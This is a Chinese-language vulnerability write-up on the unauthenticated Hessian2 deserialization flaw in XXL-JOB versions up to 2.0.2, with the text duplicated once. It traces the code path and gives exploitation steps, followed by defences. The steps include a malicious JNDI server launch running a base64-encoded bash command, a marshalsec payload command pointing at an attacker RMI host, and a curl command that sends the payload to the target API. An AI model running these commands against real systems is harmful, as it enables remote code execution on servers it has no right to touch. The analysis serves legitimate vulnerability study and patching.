老曲新唱之XXL-JOB未授权Hessian2反序列化调试分析
字数 1069 2025-08-29 08:32:01

XXL-JOB未授权Hessian2反序列化漏洞分析与利用

漏洞概述

XXL-JOB是一个分布式任务调度平台,在版本<=2.0.2中存在Hessian2反序列化漏洞。该漏洞源于两个关键问题:

  1. API接口存在未授权访问问题
  2. 使用了不安全的Hessian2反序列化实现

攻击者可以利用此漏洞在目标服务器上执行任意代码,危害极大。

漏洞分析

1. 未授权访问问题

漏洞的核心在于权限校验的缺失。在XXL-JOB的代码中,判断是否有权限限制时默认返回了false,这导致API可以未授权访问。

2. Hessian2反序列化链

反序列化漏洞的触发路径如下:

  1. 请求进入invokeAdminService方法
  2. 继续跟进到handle方法
  3. target为空时会进入if判断,触发parseRequest
  4. parseRequest方法中,当传入数据不为空时会触发反序列化操作

关键点在于XXL-JOB使用了Hessian2进行反序列化,这是因为在XxlJobDynamicScheduler这个动态调度类中调用了initRpcProvider方法,明确指定了使用hessian2作为序列化协议。

漏洞利用

利用条件

  • XXL-JOB版本<=2.0.2
  • 目标系统开放了XXL-JOB的管理接口
  • 目标系统使用的JDK版本不是最新或已配置了trustURLCodebase

利用步骤

1. 确认目标

未授权API地址:

http://目标IP:端口/xxl-job-admin/api

2. 准备JNDI注入服务

使用工具:JNDI-Injection-Exploit

启动恶意JNDI服务:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 攻击者IP -C "bash -c {echo,base64编码的命令}|{base64,-d}|{bash,-i}"

3. 生成Hessian2 payload

使用marshalsec工具生成payload:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor rmi://攻击者IP:1099/随机名称 > test.ser

注意:对于高版本JDK需要考虑trustURLCodebase限制,需要选择对应的payload。

4. 发送恶意请求

使用curl发送payload:

curl -XPOST -H "Content-Type: x-application/hessian" --data-binary @test.ser http://目标IP:端口/xxl-job-admin/api

防御措施

  1. 升级XXL-JOB:升级到最新版本,官方已修复此漏洞
  2. 权限控制:确保API接口有适当的权限校验
  3. 输入验证:对反序列化数据进行严格验证
  4. 使用白名单:限制可反序列化的类
  5. 网络隔离:将调度平台部署在内网,限制外部访问

参考链接

总结

XXL-JOB的Hessian2反序列化漏洞是一个典型的反序列化安全问题,结合未授权访问漏洞,攻击者可以远程执行任意代码。开发人员应重视反序列化操作的安全性,遵循最小权限原则,并及时更新组件版本。

XXL-JOB未授权Hessian2反序列化漏洞分析与利用 漏洞概述 XXL-JOB是一个分布式任务调度平台,在版本 <=2.0.2中存在Hessian2反序列化漏洞。该漏洞源于两个关键问题: API接口存在未授权访问问题 使用了不安全的Hessian2反序列化实现 攻击者可以利用此漏洞在目标服务器上执行任意代码,危害极大。 漏洞分析 1. 未授权访问问题 漏洞的核心在于权限校验的缺失。在XXL-JOB的代码中,判断是否有权限限制时默认返回了 false ,这导致API可以未授权访问。 2. Hessian2反序列化链 反序列化漏洞的触发路径如下: 请求进入 invokeAdminService 方法 继续跟进到 handle 方法 当 target 为空时会进入if判断,触发 parseRequest parseRequest 方法中,当传入数据不为空时会触发反序列化操作 关键点在于XXL-JOB使用了Hessian2进行反序列化,这是因为在 XxlJobDynamicScheduler 这个动态调度类中调用了 initRpcProvider 方法,明确指定了使用hessian2作为序列化协议。 漏洞利用 利用条件 XXL-JOB版本 <=2.0.2 目标系统开放了XXL-JOB的管理接口 目标系统使用的JDK版本不是最新或已配置了trustURLCodebase 利用步骤 1. 确认目标 未授权API地址: 2. 准备JNDI注入服务 使用工具: JNDI-Injection-Exploit 启动恶意JNDI服务: 3. 生成Hessian2 payload 使用 marshalsec 工具生成payload: 注意 :对于高版本JDK需要考虑 trustURLCodebase 限制,需要选择对应的payload。 4. 发送恶意请求 使用curl发送payload: 防御措施 升级XXL-JOB :升级到最新版本,官方已修复此漏洞 权限控制 :确保API接口有适当的权限校验 输入验证 :对反序列化数据进行严格验证 使用白名单 :限制可反序列化的类 网络隔离 :将调度平台部署在内网,限制外部访问 参考链接 XXL-JOB官方仓库 JNDI-Injection-Exploit marshalsec 总结 XXL-JOB的Hessian2反序列化漏洞是一个典型的反序列化安全问题,结合未授权访问漏洞,攻击者可以远程执行任意代码。开发人员应重视反序列化操作的安全性,遵循最小权限原则,并及时更新组件版本。